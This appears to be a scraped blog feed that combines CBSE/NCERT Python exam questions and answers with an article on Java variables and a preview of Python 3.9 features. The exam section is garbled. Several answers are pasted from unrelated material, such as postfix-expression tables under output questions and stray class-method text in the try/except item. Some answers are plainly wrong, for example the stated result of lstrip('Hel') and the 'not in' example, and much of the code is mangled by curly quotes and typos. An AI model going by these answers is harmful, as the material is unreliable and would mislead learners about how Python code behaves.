i= 15 i= 25 i= 35 i= 45 i= 55 sum= 125
Question 13.Write the output from the following code: [CBSE TextBook]
n = 50 i = 5 s = 0 while i<n: s+ = i i+ = 10 print “i=”,i print “sum=”,s
Answer:
i= 15 i= 25 i= 35 i= 45 i= 55 sum= 125
Question 14.Observe the following program and answer the question that follows:import randomx = 3N = random, randint (1, x)for 1 in range (N):print 1, ‘#’, 1 + 1a. What is the minimum and maximum number of times the loop will execute?b. Find out, which line of output(s) out of (i) to (iv) will not be expected from the program?i. 0#1ii. 1#2iii. 2#3iv. 3#4Answer:a. Minimum Number = 1Maximum number = 3b. Line iv is not expected to be a part of the output.
Question 15.Observe the following Python code carefully and obtain the output, which will appear on the screen after execution of it. [CBSE SQP 2016]
def Findoutput (): L = "earn" X = " " count = 1 for i in L: if i in ['a', 'e',' i', 'o', 'u']: x = x + 1. Swapcase () else: if (count % 2 ! = 0): x = x + str (len (L[:count])) else: x = x + 1 count = count + 1 print x Findoutput ()
Answer:EA3n
Question 16.Find and write the output of the following Python code:
Number = [9,18,27,36] for N in Numbers: print (N, "#", end = " ") print ()
Answer:
ElementStack of operatorsPostfix Expression1#001#(1#)(1#)2#(1#)(1#2#)1#(2#)(1#2#3#)2#(1#)1#3#(2#)1#2#(3#)1#2#3#
Question 17.What are the possible outcome(s) executed from the following code? Also,specify the maximum and import random. [CBSE Delhi 2016]
PICK=random.randint (0,3) CITY= ["DELHI", "MUMBAI", "CHENNAI", "KOLKATA"]; for I in CITY : for J in range (1, PICK) print (I, end = " ") Print ()
(i)(ii)DELHIDELHIDELHIMUMBAIMUMBAIDELHIMUMBAICHENNAICHENNAIDELHIMUMBAICEHNNAIKOLKATAKOLKATA(iii)(iv)DELHIDELHIMUMBAIMUMBAIMUMBAICHENNAIKOLKATAKOLKATAKOLKATAKOLKATA
Answer:Option (i) and (iii) are possible option (i) onlyPICKER maxval = 3 minval = 0
Question 18.Find and write the output of the following Python code : [CBSE Outside Delhi-2016]
Values = [10,20,30,40] for val in Values: for I in range (1, Val%9): print (I," * ", end= " ") print ()
Answer:
ElementStack of operatorsPostfix Expression1*001*(1.*)(1*)2*0(1*2*)1*(1,*)(1*2*3*)2*(2.*)1*3*01*2*(1.*)1*2*3*(2,* )(3,* )
Question 19.Write the output from the following code:
y = 2000 if (y%4==0): print “Leap Year” else: print “Not leap year”
Answer:Leap Year.
Question 20.What does the following print?
for i in range (1,10): for j in'range (1,10): print i * j, print
Answer:1 2 3 4 5 6 7 8 92 4 6 8 10 12 14 16 183 6 9 12 15 18 21 24 274 8 12 16 20 24 28 32 365 10 15 20 25 30 35 40 456 12 18 24 30 36 42 48 547 14 21 28 35 42 49 56 638 16 24 32 40 48 56 64 729 18 27 36 45 54 63 72 81
Question 21.What will be the output of the following statement? Also, justify the answer.
>> print ‘Radhsa’s dress is pretty’.
Answer:SyntaxError: invalid syntax.The single quote needs to be replaced by V to get the expected output.
Question 22.Give the output of the following statements :
>>> str=‘Honesty is the best policy’ >>> str.replace(‘o’,‘*’)
Answer:‘H*nesty is the best p*licy’.
Question 23.Give the output of the following statements :
>> str=‘Hello Python’ >>> str.istitle()
Answer:True.
Question 24.Give the output of the following statements:
>> str=‘Hello Python’ >>> print str.lstrip(“Hel”)
Answer:Hello Python
Question 25.Write the output for the following codes:
A={10:1000,20:2000,30:3000,40:4000,50:5000} print A.items() print A.keys() print A.values()
Answer:[(40,4000), (10,1000), (20,2000), (50,5000), (30,3000)] [40,10, 20, 50, 30] [4000,1000, 2000, 5000, 3000]
Question 26.Write the output from the following code:
t=(10,20,30,40,50) print len(t)
Answer:5
Question 27.Write the output from the following code:
t=(‘a’,‘b’,‘c’,‘A’,‘B’) print max(t) print min(t)
Answer:‘c’A’
Question 28.Find the output from the following code:
T=(10,30,2,50,5,6,100,65) print max(T) print min(T)
Answer:1002
Question 29.Write the output from the following code:
T1=(10,20,30,40,50) T2 =(10,20,30,40,50) T3 =(100,200,300) cmp(T1, T2) cmp(T2,T3) cmp(T3,T1)
Answer:0-11
Question 30.Write the output from the following code:
T1=(10,20,30,40,50) T2=(100,200,300) T3=T1+T2 print T3
Answer:(10,20,30,40,50,100,200,300)
Question 31.Find the output from the following code:
t=tuple() t = t +(‘Python’,) print t print len(t) t1=(10,20,30) print len(t1)
Answer:(‘Python’,)13
Question 32.Rewrite the following code in Python after remo¬ving all syntax error(s).Underline each correction done in the code.
for student in [Jaya, Priya, Gagan] If Student [0] = ‘S’: print (student)
Answer:for studednt in values [“Jaya”, “Priya”, “Gagan”]:if student [0] = = “S”print (student)
Question 33.Find and write the output of the following Python code:
Values = [11, 22, 33, 44] for V in Values: for NV in range (1, V%10): print (NV, V)
Answer:1, 112,223,334, 44
Question 34.What are the possible outcome(s) executed from the following code? Also, specify the maximum and minimum values that can be assigned to variable SEL.
import random SEL=random. randint (0, 3) ANIMAL = [“DEER”, “Monkey”, “COW”, “Kangaroo”]; for A in ANIMAL: for AAin range (1, SEL): print (A, end =“”) print ()
(i)(ii)(iii)(iv)DEERDEERDEERDEERDEERMONKEYMONKEYDELHIMONKEYMONKEYMONKEYMONKEYCOWCOWDELHIMONKEYCOWCOWKANGAROOKANGAROOKANGAROOKANGAROOKANGAROOKANGAROO
Answer:Maximum value of SEL is 3.The possible output is belowDEERMonkey MonkeyKangaroo Kangaroo KangarooThus (iv) is the correct option.
TOPIC-3Random Functions
Question 1.What are the possible outcome(s) executed from the following code ? Also specify the maximum and minimum values that can be assigned to variable PICKER. [CBSE Outside Delhi-2016]
import random PICKER = random randint (0, 3) COLOR = ["BLUE", "PINK", "GREEN", "RED"]: for I in COLOR : for J in range (1, PICKER): Print (I, end = " ") Print ()
(i)(ii)(iii) (iv)BLUEBLUEPINKSLUEBLUEPINKBLUEPINKPINKGREENPINKPINKGREENBLUEPINKGREENGREENREDGREENGREENREDBLUEPINKGREENREDREDRED
Answer:Option (i) and (iv) are possibleORoption (i) onlyPICKER maxval = 3 minval = 0
Question 2.What are the possible outcome(s) expected from the following python code? Also specifymaximum and minimum value, which we can have. [CBSE SQP 2015]
def main(): p = ‘MY PROGRAM’ i = 0 while p[i] != ‘R’: l = random.randint(0,3) + 5 print p[l],’-’, i += 1
(i) R – P – O – R –(ii) P – O – R – Y –(iii) O -R – A – G –(iv) A- G – R – M –Answer:Minimum value=5Maximum value=8So the only possible values are O, G, R, AOnly option (iii) is possible.
TOPIC-4Correcting The Errors
Question 1.Rewrite the following Python code after removing all syntax error(s). Underline the corrections done.[CBSE SQP 2015]
def main(): r = raw-input(‘enter any radius : ’) a = pi * math.pow(r,2) print “ Area = ” + a
Answer:
def main (): r = raw_input(‘enter any radius : ’) a = pi * math.pow(r,2) print “ Area = ”, a
Question 2.Rectify the error (if any) in the given statements.
>> str=“Hello Python” >>> str[6]=‘S’
Answer:
str[6] = ‘S’ is incorrect ‘str’ object does not support item assignment. str.replace(str[6],‘S’).
Question 3.Find the errors from the following code:T=[a,b,c]print TAnswer:NameError: name ‘a’ is not defined .T=[‘a’,‘b’,‘c’]
Question 4.Find the errors from the following code:for i in 1 to 100:print IAnswer:for i in range (1,100):print i
Question 5.Find the errors from the following code:
i=10 ; while [i<=n]: print i i+=10
Answer:
i=10 n=100 while (i<=n): print i i+=10
Question 6.Find the errors from the following code:
if (a>b) print a: else if (a<b) print b: else print “both are equal”
Answer:
if (a>b) // missing colon print a: else if (a<b) // missing colon // should be elif print b: else // missing colon print “both are equal"
Question 7.Find errors from the following codes:
c=dict() n=input(Enter total number) i=1 while i<=n: a=raw_input(“enter place”) b=raw_input(“enter number”) c[a]=b i=i+1 print “place”,“\t”,“number” for i in c: print i,“\t”,c[a[i]]
Answer:
c=dict() n=input(‘‘Enter total number”) i=1 while i<=n : a=raw_input(“enter place”) b=raw_inputf enter number”) c[a]=b i=i+1 print “place”,“\t”,“number” for i in c: print i,“\t”,c[i]
Question 8.Observe the following class definition and answer the question that follows : [CBSE SQP 2016]
class info: ips=0 def _str_(self): #Function 1 return "Welcome to the Info Systems" def _init_(Self): self. _ Sstemdate= " " self. SystemTime = " " def getinput (self): self . Systemdate = raw_input ("enter data") self , SystemTime = raw_Input ("enter data") Info, incrips () Estaiomethod # Statement 1 def incrips (): Info, ips, "times" I = Info () I. getinput () Print I. SystemTime Print I. _Systemdate # Statement 2
i. Write statement to invoke Function 1.ii. On Executing the above code, Statement 2 is giving an error explain.Answer:i. print Iii. The statement 2 is giving an error because _ Systemdate is a private variable and hence cannot to be printed outside the class.
TOPIC – 5Short Programs
Question 1.Write a program to calculate the area of a rectangle. The program should get the length and breadth ;values from the user and print the area.Answer:
length = input(“Enter length”) breadth = input(“Enter breadth”) print “Area of rectangle =”,length*breadth
Question 2.Write a program to calculate the roots of a quadratic equation.Answer:
import math a = input(“Enter co-efficient of x^2”) b = input(“Enter co-efficient of x”) c = inputfEnter constant term”) d = b*b - 4*a*c if d == 0: print “Roots are real and equal” root1 = root2 = -b / (2*a) elif d > 0: print “Roots are real and distinct” root1 = (- b + math.sqrt(d)) / (2*a) root2 = (-b - math.sqrt(d)) / (2*a) else: print “Roots are imaginary” print “Roots of the quadratic equation are”,root1,“and”,root2
Question 3.Write a program to input any number and to print all the factors of that number.Answer:
n = inputfEnter the number") for i in range(2,n): if n%i == 0: print i,“is a factor of’.n
Question 4.Write a program to input ,.any number and to check whether given number is Armstrong or not.(Armstrong 1,153,etc. 13 =1, 13+53 +33 =153)Answer:
n = inputfEnter the number”) savedn = n sum=0 while n > 0: a = n%10 sum = sum + a*a*a n = n/10 if savedn == sum: print savedn,“is an Armstrong Number” else: print savedn,”is not an Armstrong Number”
Question 5.Write a program to find all the prime numbers up to a given numberAnswer:
n = input("Enter the number”) i = 2 flag = 0 while (i < n): if (n%i)==0: flag = 1 print n,“is composite” break i = i+ 1 if flag ==0 : print n,“is prime”
Question 6.Write a program to convert decimal number to binary.Answer:
i=1 s=0 dec = int ( raw_input(“Enter the decimal to be converted:”)) while dec>0: rem=dec%2 s=s + (i*rem) dec=dec/2 i=i*10 print “The binary of the given number is:”,s raw_input()
Question 7.Write a program to convert binary to decimalAnswer:
binary = raw_input(“Enter the binary string”) decimal=0 for i in range(len(str(binary))): power=len (str (binary)) - (i+1) decimal+=int(str(binary)[i])*(2**power) print decimal
Question 8.Write a program to input two complex numbers and to find sum of the given complex numbers.Answer:
areal = input("Enter real part of first complex number”) aimg = input("Enter imaginary part of first complex number”) breal = input("Enter real part of second complex number”) bimg = input("Enter imaginary part of second complex number”) totreal = areal + breal totimg = aimg + bimg print “Sum of the complex numbers=",totreal, “+i”, totimg
Question 9.Write a program to input two complex numbers and to implement multiplication of the given complex numbers.Answer:
a = input("Enter real part of first complex number”) b = input("Enter imaginary part of first complex number”) c = input("Enter real part of second complex number”) d = input("Enter imaginary part of second complex number”) real= a*c - b*d img= a*d + b*c print “Product of the complex numbers=",real, “+i”,img
Question 10.Write a program to find the sum of all digits of the given number.Answer:
n = inputfEnter the number”) rev=0 while (n>0): a=n%10 sum = sum + a n=n/10 print “Sum of digits=”,sum
Question 11.Write a program to find the reverse of a number.Answer:
n = input("Enter the number”) rev=0 while (n>0): a=n%10 rev=(rev*10)+a n=n/10 print “Reversed number=”,rev
Question 12.Write a program to print the pyramid.12 23 3 34 4 4 45 5 5 5 5Answer:
for i in range(1,6): for j in range(1,i+1): print i, print
Question 13.Write a program to input username and password and to check whether the given username and password are correct or not.Answer:
import string usemame= raw_input(“Enter username”) password = raw_input(“Enter password”) if cmp(username.strip(),“XXX”)== 0: if cmp(password,”123”) == 0: print “Login successful” else: print “Password Incorrect” else: print “Username Incorrect”
Question 14.Write a generator function generatesq () that displays the squareroots of numbers from 100 to nwhere n is passed as an argument.Answer:
import math def generatesq (n) : for i in range (100, n) : yield (math, sqrt (i))
Question 15.Write a method in Python to find and display the prime number between 2 to n.Pass n as argument to the method.Answer:
def prime (N) : for a in range (2, N): for I in range (2, a): if N%i ==0 : break print a OR def prime (N): for a in range (2, N): for I in range (2, a) : if a%1= = 0 : break else : print a
Question 16.Write a program to input username and password and to check whether the given username and password are correct or not.Answer:
import string usemame= raw_input(“Enter username”) password = raw_input(“Enter password”) if cmp(usemame.strip(),“XXX”)== 0: if cmp(password,”123”) == 0: print “Login successful” else: print “Password Incorrect” else: print “Username Incorrect”
Question 17.Which string method is used to implement the following: [CBSE Text Book]
To count the number of characters in the string.
To change the first character of the string in capital letter.
To check whether given character is letter or a number.
To change lowercase to uppercase letter.
Change one character into another character.
Answer:
len(str)
str.title() or str.capitalize()
str.isalpha and str.isdigit()
lower(str[i])
str.replace(char, newchar)
Question 18.Write a program to input any string and to find the number of words in the string.Answer:
str = “Honesty is the best policy” words = str.split() print len(words)
Question 19.Write a program to input n numbers and to insert any number in a particular position.Answer:
n=input(“Enter no. of values") num=[] for i in range (n): number=input(“Enter the number") num.append(number) newno = input(“Enter the number to be inserted”) pos = input(“Enter position”) num.insert(newno,pos) print num
Question 20.Write a program to input n numbers and to search any number from the list.Answer:
n=input(“Enter no. of values”) num=[] flag=0 for i in range (n): number=input(“Enter the number”) num. append(number) search = input(“Enter number to be searched") for i in range(n): if num[i]==search: print search,“found at position”,i flag=1 if flag==0: print search, “not found in list”
Question 21.Write a program to search input any customer name and display customer phone numberif the customer name is exist in the list.Answer:
def printlist(s): i=0 for i in range(len(s)): print i,s[i] i = 0 phonenumbers = [‘9840012345’,‘9840011111’,’ 9845622222’,‘9850012345’,‘9884412345’] flag=0 number = raw_input(“Enter the phone number to be searched") number = number.strip() try: i = phonenumbers.index(number) if i >= 0: flag=1 except ValueError: pass if(flag <>0): print “\nphone number found in Phonebook at index”, i else: print'\iphonenumbernotfoundin phonebook” print “\nPHONEBOOK” printlist(phonenumbers)
Question 22.Write a program to input n numbers and to reverse the set of numbers without using functions.Answer:
n=input(“Enter no. of values”) num=[] flag=0 for i in range (n): number=input(“Enter the number”) num. append(number) j=n-1 for i in range(n): if i<=n/2: num[i],num[j] = num[j],num[i] j=j-1 else: break print num
Question 23.Find and write the output of the following Python code: [CBSE Complementry-2016]
class Client: def init (self, ID = 1, NM=”Noname”) # constructor self.CID = ID self. Name = NM def Allocate (self, changelD, Title) : self.CID = self.CID + Changeld self.Name = Title + self. Name def Display (self) : print (self. CID). "#”, self. Name) C1 = Client () C2 = Client (102) C3 = Client (205, ‘’Fedrick”) C1 . Display () C2 . Display () C3 . Display () C2 . Allocate (4, "Ms.”) C3 .Allocate (2, "Mr.”) C1. Allocate (1, "Mrs.”) C1. Display () C2 . Display () C3 . Display ()
Answer:
CID Name — Fedrick 102 Mr. Fedrick 205 Mrs. Fedrick — Mr. & Mrs. Fedrick
Question 24.What will be the output of the following Python code considering the following set of inputs?
MAYA Your 5 Apples Mine2 412 Also, explain the try and except used in the code. Count = 0 while True : try: Number=int (raw input ("Input a Number :")) break Except valueError : Count=Count + 2 # For later versions of python, raw_input # Should be consider as input
mehtods:– DenCal () # Method to calcualte Density as People/Area– Add () # Method to allow user to enter values Dcode, DName, People, Area and Call DenCal () Mehtod– View () # Method to display all the data members also display a message “”High Population”if the Density is more than 8000.Answer:Output is below2 Re Enter Number10 Re Enter Number5 Input = Number3 Input = numberTry and except are used for handling exception in the Pythan code.
Question 25.Write a method in Python and display the prime numbers between 2 to N. Pass as argument to the methods.Answer:
def prime (N) : for a in range (2, N) Prime=1 for I in range (2, a): if a%i= = 0 : Prime = 0 if Prime = = 1: print a OR def prime (N) : for a in range (2, N): for I in range (2, a) : if a%i = = 0: break else : print a OR Any other correct code performing the same
Long Answer Type Questions (6 marks)
Question 1.Aastha wnats to create a program that accepts a string and display the characters in the reversein the same line using a Stack. She has created the following code, help her by completing thedefinitions on the basis of requirements given below:[CBSE SQP 2016]
Class mystack : def inin (self): selfe. mystr= # Accept a string self.mylist= # Convert mystr to a list # Write code to display while removing element from the stack. def display (self) : : :
Answer:
class mystack : def _init_ (self) : self.myster= rawjnput ("Enter the string”) self.mylist = list (self.mystr) def display (self) : x = len (self. mylist) if (x > 0) : for i in range (x) : print self.mylist.pop (), else : print "Stack is empty”
via Blogger https://ift.tt/3kkMk05
0 notes
hasnainamjad · 5 years ago
Link
Credit: Adam Sinicki / Android Authority
Variables are the bread and butter of coding. Without variables, apps would have no interactivity and no way of manipulating information. Therefore, learning about variables in Java should be among the very first things you do when picking up the language. In this post, you’ll find everything you need to know.
What are variables in Java?
The best way to understand variables is to think back to math lessons. You may recall solving algebra “problems” that looked something like this:
If 3 + n = 5, then what is n?
Of course, the answer is n = 2.
This is how variables work in programming. A variable is a label (usually a word) that can be substituted for a piece of data. This then allows us to ferry information around our app by getting values from other sources (like the web, or input from users) or to perform different functions depending on what value that variable contains.
For example, we might create a variable for a computer game called “health.” This would represent a number, which in turn would describe how much health a player had left. If the player gets shot, the health goes down (health = health – 1). If the player has no health, then the game ends.
Types of variable in Java
A variable that contains a whole number, as in the previous examples, is called an “integer” or “int” for short. However, this is just one type of variable in Java.
Understanding this is important, as we need to choose (declare) the type of variable when we first create it. This is because Java is “statically-typed” as opposed to a language like Python that is “dynamically typed.” There are pros and cons to each approach.
See also: Python vs Java: Which language should you learn and what are the differences?
When you declare your variable, you first write the type of variable you want, then the name you are going to give it, and then the value you are going to assign to it at its inception:
int health=10;
The other types of variables in Java are:
byte – stores whole numbers from -128 to 127
short – stores numbers from -32,768 to 32,767
int – stores whole numbers from -2,147,483,648 to 2,147,483,647]
long – stores an even wider range of whole numbers
float – stores fractional numbers of around up to 6-7 decimal digits
double – stores fractional numbers up to around 15 decimal places
boolean – stores a binary true or false value
char – stores a single alphanumeric character/ASCII value
These are referred to as “primitive data types” as they are built right into the functioning of Java and can’t be broken down any further.
The right variable for the job
Why are there so many different options for storing numbers? That’s because good programming should be efficient with memory. Bytes are allocated less memory than integers, so if you are absolutely sure that the value will never be higher than 127 or lower than -128, then you can safely choose to use them. However, because of Java’s strong typing, you need to know this for sure right from the start and declare the variable correctly. Using a Boolean is the most efficient of all, as it only takes up a single bit of information! You can use Booleans like “on/off” switches.
Good programming should be efficient with memory.
With that said, most casual programming will not need to be so efficient as to choose bytes over integers. It is often safe to use int for the majority of your whole numbers.
Strings and lists
If you have some familiarity with variables in Java, you might wonder why I left strings off of the list. A string is a series of alphanumeric characters and symbols that can be used to store names, phone numbers, or entire passages of text.
However, “string” is not a keyword in java but is actually a class. You don’t really need to know what this means, though our Java beginner course will teach you the basics.
For the most part, you are safe to use String just the same as any other variable. The main difference is that you will need to capitalize the word “String.” As a class, String also has methods, meaning that it can provide useful data about itself such as its length.
The same is true for other types, such as Arrays. Arrays in Java are variables that contain multiple values. These let you store things like lists of high scores or phone numbers and can also be organized, counted, and manipulated in other ways.
Aslo read: How to print an array in Java
Other types of variables in Java
There are other ways you can categorize variables in Java, and other ways you can manipulate data. For instance, a constant is a variable whose value never changes. This is primarily useful for writing more readable code.
Variables also act differently depending on how they interact with their class (instance variables vs static variables). You won’t need to understand these differences for a while, but stay tuned for more tutorials looking at these nuances.
Want to continue your education into variables in Java right away? Then, alternatively, see our guide to the best free and paid resources for learning Java. We also offer a comprehensive introduction to Android app development course, run by Gary Sims, that contains an entire mini-course on Java programming!
source https://www.androidauthority.com/variables-in-java-1154546/
0 notes
holytheoristtastemaker · 5 years ago
Link
 Python 3.9 is expected to release on Monday, 05 October 2020. Prior to releasing the official version, the developers had planned to release six alpha, five beta preview, and two release candidates.
[Read what’s python good for.]
At the time of writing this article, the first candidate was recently released on 11 August. Now, we are anxiously waiting for the second release candidate which will probably be available from 14 September.
So, you might be wondering what’s new in Python 3.9. Right?
There are some significant changes that will dictate the way Python programs work. Most importantly, in this recent version, you will get a new parser that is based on Parsing Expression Grammar (PEG). Similarly, merge | and update |= Union Operators are added to dict .
Let’s have a more in-depth look at all the upcoming features and improvements of Python 3.9.
New Parser Based on PEG
Unlike the older LL(1) parser, the new one has some key differences that make it more flexible and future proof. Basically in LL(1), the Python developers had used several “hacks” to avoid its limitations. In turn, it affects the flexibility of adding new language features.
The major difference between PEG and a context-free-grammar based parsers (e.g. LL(1)) is that in PEG the choice operator is ordered.
Let’s suppose we write this rule: A | B | C.
Now, in the case of LL(1) parser, it will generate constructions to conclude which one from A, B, or C must be expanded. On the other hand, PEG will try to check whether the first alternative (e.g. A) succeeds or not. It will continue to the next alternative only when A doesn’t succeed. In simple words, PEG will check the alternatives in the order in which they are written.
Support for the IANA Time Zone
In real-world applications, users usually require only three types of time zones.
UTC
The local time zone of the system
IANA time zones
Now, if are already familiar with previous versions of Python then you might know that Python 3.2 introduced a class datetime.timezone. Basically, its main purpose was to provide support for UTC.
In true sense, the local time zone is still not available. But, in version 3.0 of Python, the developers changed the semantics of naïve time zones to support “local time” operations.
In Python 3.9, they are going to add support for the IANA time zone database. Most of the time, this database is also referred to as “tz” or the Olson database. So, don’t get confused with these terms.
All of the IANA time zone functionality is packed inside the zoneinfo module. This database is very popular and widely distributed in Unix-like operating systems. But, remember that Windows uses a completely different method for handling the time zones.
Added Union Operators
In previous versions of Python, it’s not very efficient to merge or update two dicts. That’s why the developers are now introducing Union Operators like | for merging and |= for updating the dicts.
For example, earlier when we use d1.update(d2) then it also modifies d1. So, to fix it, we have to implement a small “hack” something like e = d1.copy(); e.update(d2).
Actually, here we are creating a new temporary variable to hold the value. But, this solution is not very efficient. That’s the main reason behind adding those new Union Operators.
Introducing removeprefix() and removesuffix()
Have you ever feel the need for some functions that can easily remove prefix or suffix from a given string?
Now, you might say that there are already some functions like str.lstrip([chars]) and str.rstrip([chars]) that can do this. But, this is where the confusion starts. Actually, these functions work with a set of characters instead of a substring.
So, there is definitely a need for some separate functions that can remove the substring from the beginning or end of the string.
Another reason for providing built-in support for removeprefix() and removesuffix() is that application developers usually write this functionality on their own to enhance their productivity. But, in most cases, they make mistakes while handling empty strings. So, a built-in solution can be very helpful for real-world apps.
Type Hinting Generics In Standard Collections
Did you ever notice the duplicate collection hierarchy in the typing module?
For example, you can either use typing.List or the built-in list. So, in Python 3.9, the core development team has decided to add support for generics syntax in the typing module. The syntax can now be used in all standard collections that are available in this module.
The major plus point of this feature is that now user can easily annotate their code. It even helps the instructors to teach Python in a better way.
Added graphlib module
In graphs, a topological order plays an important role to identify the flow of jobs. Meaning that it follows a linear order to tell which task will run before the other.
The graphlib module enables us to perform a topological sort or order of a graph. It is mostly used with hashable nodes.
Modules That Are Enhance in Python 3.9
In my opinion, the major effort took place while improving the existing modules. You can evaluate this with the fact that a massive list of 35 modules is updated to optimize the Python programming language.
Some of the most significant changes happened inside gc, http, imaplib, ipaddress, math, os, pydoc, random, signal, socket, time, and sys modules.
Features Deprecated
Around 16 features are deprecated in Python version 3.9. You can get detailed information from the official Python 3.9 announcement . Here, I’ll try to give you a brief overview of the most important things that are deprecated.
If you have ever worked with random module then you probably know that it can accept any hashable type as a seed value. This can have unintended consequences because there is no guarantee whether the hash value is deterministic or not. That’s why the developers decided to only accept None, int, float, str, bytes, and bytearray as the seed value.
Also, from now onwards you must specify the mode argument to open a GzipFile file for writing.
What’s Removed?
A total of 21 features that were deprecated in previous versions of Python are now completely dropped from the language. You may have a look at the complete list on Python’s website .
0 notes
margdarsanme · 5 years ago
Text
NCERT Class 12 Computer Science Chapter 1 Review of Python
NCERT Class 12 Computer Science Python Solutions for Chapter 1 :: Review of Python
TOPIC-1
Python Basics
Very Short Answer Type Questions(1 mark)
Question 1.Name the Python Library modules which need to be imported to invoke the following functions:
load ()
pow () [CBSE Delhi 2016]
Answer:
pickle
math
Question 2.Name the modules to which the following func-tions belong:
Uniform ()
fabs () [CBSE SQP 2016]
Answer:
random ()
math ()
Question 3.Differentiate between the round() and floor() functions with the help of suitable example.[CBSE Comptt. 2016]Answer:The function round() is used to convert a fractional number into whole as the nearest next whereas the function floor() is used convert to the nearest lower whole number, e.g.,round (5.8) = 6, round (4.1) = 5 and floor (6.9) = 6, floor (5.01) = 5
Short Answer Type Questions (2 marks):
Question 1.Out of the following, find those identifiers, which cannot be used for naming Variables or functions in a Python program:Total * Tax, While, Class, Switch, 3rd Row, finally, Column 31, Total. [CBSE Outside Delhi-2016]Answer:Total * Tax, class, 3rd Row, finally
Question 2.Name the Python Library modules which need to be imported to invoke the follwing functions :
sqrt()
dump() (CBSE Outside Delhi-2016)
Answer:
math
pickle
Question 3.Out of the following, find the identifiers, which cannot be used for naming Variable or Functions in a Python program: [CBSE Delhi 2016]_Cost, Price*Qty, float, switch, Address one, Delete, Number12, doAnswer:Price *Qty, float, Address one, do
Question 4.Out of the following find those identifiers, which can not be used for naming Variable or Functions in a Python Program:Days * Rent, For, A_price, Grand Total, do, 2Clients, Participantl, My cityAnswer:Illegal variables or functions name are as below: Days * Rent, do, 2Clients, For and Grant Total Because of being either keyword or including space or operator or starting with integar.
Question 5.Name the function / method required for [CBSE SQP 2015]
Finding second occurrence of m in madam.
get the position of an item in the list.
Answer:
find
index
Question 6.Which string method is used to implement the following:
To count the number of characters in the string.
To change the first character of the string in capital letter.
To check whether given character is letter or a number.
To change lowercase to uppercase letter.
Change one character into another character. [CBSE TextBook]
Answer:
len(str)
str.capitalize()
ch.isalnum()
str.upper()
str.replace(old,new)
Question 7.What is the difference between input() and raw_input()?Answer:raw_input() takes the input as a string whereas input() basically looks at what the user enters, and automatically determines the correct type. We use the inputQ function when you are expecting an integer from the end-user, and raw_input when you are expecting a string.
Question 8.What are the two ways of output using print()?Answer:Ordinarily, each print statement produces one line of output. You can end the print statement with a trailing ’ to combine the results of multiple print statements into a single line.
Question 9.Why does the expression 2 + 3*4 result in the value 14 and not the value 24?Answer:Operator precedence rules* make the expression to be interpreted as 2 + (3*4) hence the result is 14.
Question 10.How many times will Python execute the code inside the following while loop? You should answer the question without using the interpreter! Justify your answers.
i = 0 while i < 0 and i > 2 : print “Hello ...” i = i+1
Answer:0 times.
Question 11.How many times will Python execute the code inside the following while loop?
i = 1 while i < 10000 and i > 0 and 1: print “ Hello ...” i = 2 * i
Answer:14.
Question 12.Convert the following for loop into while loop, for i in range (1,100):
if i % 4 == 2 : print i, “mod”, 4 , “= 2”
Answer:
i=1 while i < 100: if i % 4 == 2: print i, “mod”, 4 , “= 2” i = i +1
Question 13.Convert the following for loop into while loop.
for i in range(10): for j in range(i): print '$', print"
Answer:
i=0 while i < 10: j=0 while j < i: print '$’ print"
Question 14.Rewrite the following for loop into while loop: [CBSE Text Book]
for a in range(25,500,25): print a
Answer:
a=25 while a < 500: print a a = a + 25
Question 15.Rewrite the following for loop into while loop: [CBSE Text Book]
for a in range(90, 9, -9): print a
Answer:
a = 90 while a > 9: print a a = a-9
Question 16.Convert the following while loop into for loop:
i = 0 while i < 100: if i % 2 == 0: print i, “is even” else: print i, “is odd” i = i + 1
Answer:
for i in range(100): if i % 2 == 0: print i, “is even” else : print i, “is odd”
Question 17.Convert the following while loop into for loop
char = "" print “Press Tab Enter to stop ...” iteration = 0 while not char == “\t” and not iteration > 99: print “Continue?” char = raw_input() iteration+ = 1
Answer:
char = "" print “Press Tab Enter to stop ...” for iteration in range(99): if not char == ‘\t’: print “Continue?” char = raw_input()
Question 18.Rewrite the following while loop into for loop:
i = 10 while i<250: print i i = i+50
Answer:
for i in range(10, 250, 50): print i
Question 19.Rewrite the following while loop into for loop:
i=88 while(i>=8): print i i- = 8
Answer:
for i in range(88, 9, -8) print i
Question 20.Write for statement to print the series 10,20,30, ……., 300Answer:
for i in range(10, 301, 10): print i
Question 21.Write for statement to print the series 105,98,91,… .7Answer:
for i in range(105, 8, -7): print i
Question 22.Write the while loop to print the series: 5,10,15,…100Answer:
i=5 while i <= 100: print i i = i + 5
Question 23.How many times is the following loop executed? [CBSE Text Book]for a in range(100,10,-10):print aAnswer:9 times.
Question 24.How many times is the following loop executed? [CBSE Text Book]
i = 100 while (i<=200): print i i + =20
Answer:6 times
Question 25.State whether the statement is True or False? No matter the underlying data type if values are equal returns true,
char ch1, ch2; if (ch1==ch2) print “Equal”
Answer:True. Two values of same data types can be equal.
Question 26.What are the logical operators of Python?Answer:or, and, not
Question 27.What is the difference between ‘/’ and ‘//’ ?Answer:
// is Integer or Floor division whereas / is normal division (eg) 7.0 // 2 → 3.0 7.0/2 → 3.5
Question 28.How can we import a module in Python?Answer:1. using import
Syntax: import[,,...] Example: import math, cmath
2. using from
Syntax: fromimport[, ,.. ,] Example: . from fib. import fib, fib2.
Question 29.What is the difference between parameters and arguments?Answer:
S.No.ParametersArguments1Values provided in function headerValues provided in function call.2(eg) def area (r):—> r is the parameter(eg) def main() radius = 5.0 area (radius)—> radius is the argument
Question 30.What are default arguments?Answer:Python allowes function arguments to have default values; if the function is called without the argument, the argument gets its default value
Question 31.What are keyword arguments?Answer:If there is a function with many parameters and we want to specify only some of them in function call,then value for such parameters can be provided by using their names instead of the positions. These are called keyword argument.
(eg) def simpleinterest(p, n=2, r=0.6) ' def simpleinterest(p, r=0.2, n=3)
Question 32.What are the advantages of keyword arguments?Answer:It is easier to use since we need not remember the order of the arguments.We can specify the values for only those parameters which we want, and others have default values.
Question 33.What does “in” do?Answer:“in” is a membership operator. It evaluates to true if it finds a variable/string in the specified sequence :Otherwise i+evaluates to false.
(eg) S = “Hello World" if “Hell” in S: print “True” will print True.
Question 34.What does “not in” do?Answer:“not in” is a membership operator. It evaluates to true if it does not finds a variable/stringin the specified sequence. Otherwise it evaluates to false,
(eg) S = “Hello World” if “Hell” not in S: print “False” will print False.
Question 35.What does “slice” do?Answer:The slice[n:m] operator extracts subparts from a string. It doesn’t include the character at index m.
(eg) S = “Hello World” print s[0:4] → Hell
Question 36.What is the use of negative indices in slicing?Answer:Python counts from the end (right) if negative indices are given.
(eg) S = “Hello” print S[:-3] >> He print S[-3:] >> llo
